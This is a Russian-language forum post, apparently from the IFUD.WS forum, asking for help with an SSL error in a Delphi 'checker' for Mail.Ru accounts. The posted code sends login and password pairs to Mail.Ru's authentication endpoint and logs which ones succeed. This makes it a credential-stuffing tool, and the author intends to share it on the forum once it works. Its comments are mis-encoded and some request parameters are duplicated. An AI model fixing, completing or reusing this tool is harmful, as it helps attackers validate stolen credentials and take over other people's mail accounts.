1
  1. Этот сайт использует файлы cookie. Продолжая пользоваться данным сайтом, Вы соглашаетесь на использование нами Ваших файлов cookie. Узнать больше.
Приветствуем вас,Гость, на форуме IFUD.WS. Обязательно рекомендуется к прочтению правила форума http://ifud.ws/threads/obnovleno-pravila-foruma.7759

Чекер Mail.Ru

Тема в разделе "Помощь по всем вопросам.", создана пользователем Walentinka, 4 янв 2014.

  1. TopicStarter Overlay
    Walentinka

    Walentinka

    Регистрация:
    29 янв 2013
    Сообщения:
    96
    Симпатии:
    47
    Доброго времени суток форумчане.
    Каждый кто программирует на любом языке рано ил поздно писал что-то подобное.
    Все банально, отправляю запрос, анализирую ответ, записываю данные в log файл.
    Есть проблема, при отправке запроса, ловлю ошибку "Error connecting with SSL", в папке с программой вроде есть нужные .dll .
    Если кто-то знает решение данной проблемы для сайта mail.ru, буду рад вашему наставлению.

    Код авторизации:

    Код:
    function TForm1.Autorization(Login,Password,Domain:string):Boolean;    //Àâòîðèçàöèÿ
    var
    params, responseres : tstringlist;
    Z : integer;
    begin
    Z:=0; //Ïåðåìåííàÿ öèêëà
     
    while Z<1 do
    begin
    idhtp1.Request.Host:='auth.mail.ru';
    idhtp1.Request.Connection:='Keep-Alive';
    idhtp1.Request.UserAgent:='Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)';
    idhtp1.Request.Accept:='text/html, application/xhtml+xml, */*';
    idhtp1.Request.AcceptLanguage:='ru-RU';
    idhtp1.Request.Referer:='http://mail.ru/?from=logout&ref=main';
    idhtp1.Request.ContentType:='application/x-www-form-urlencoded';
     
    params:=TStringList.Create;
    responseres:=TStringList.Create;
    //Internet_Proverka;
     
    try
      params.Add('Domain='+Domain);
      params.Add('Login='+Login);
      params.Add('Password='+Password);
      params.Add('new_auth_form=1');
      params.Add('saveauth=1Domain='+Domain);
      params.Add('Login='+Login);
      params.Add('Password='+Password);
      params.Add('new_auth_form=1');
      params.Add('saveauth=1');
      responseres.Text:=idhtp1.Post('https://auth.mail.ru/cgi-bin/auth?from=splash',params);
      responseres.SaveToFile('index.htm');
     
    except
      on e:EIDHttpProtocolException do
      Begin
          //Continue;
          ShowMessage('1');
      end;
      on e:EIdException do
      begin
          //Continue;
          ShowMessage('2');
      end;
    end;
     
      if Pos('logout',responseres.Text)>0 then
      begin
      Result:=True;
      If FileExists(edt5.Text) then DoZapis(edt5.Text,'Óñïåøíàÿ Àâòîðèçàöèÿ ' + Login + '@' + Domain + ':' + Password) else CreateF(edt5.Text,'Óñïåøíàÿ Àâòîðèçàöèÿ ' + Login + '@' + Domain + ':' + Password);
      end
      Else
      begin
      Result:=False;
      If FileExists(edt5.Text) then DoZapis(edt5.Text,'Îøèáêà Àâòîðèçàöèè ' + Login + '@' + Domain + ':' + Password) else CreateF(edt5.Text,'Îøèáêà Àâòîðèçàöèè ' + Login + '@' + Domain + ':' + Password);
      end;
     
      params.free;
      responseres.free;
      Z:=1; //Âûõîäèì èç öèêëà
    end;
     
    end;
    После устранения ошибки, добавим рабочую программу в SOFT форума, авось кому пригодится.
     

    Вложения:

    • Like Like x 1
    Метки:

Поделиться этой страницей

Загрузка...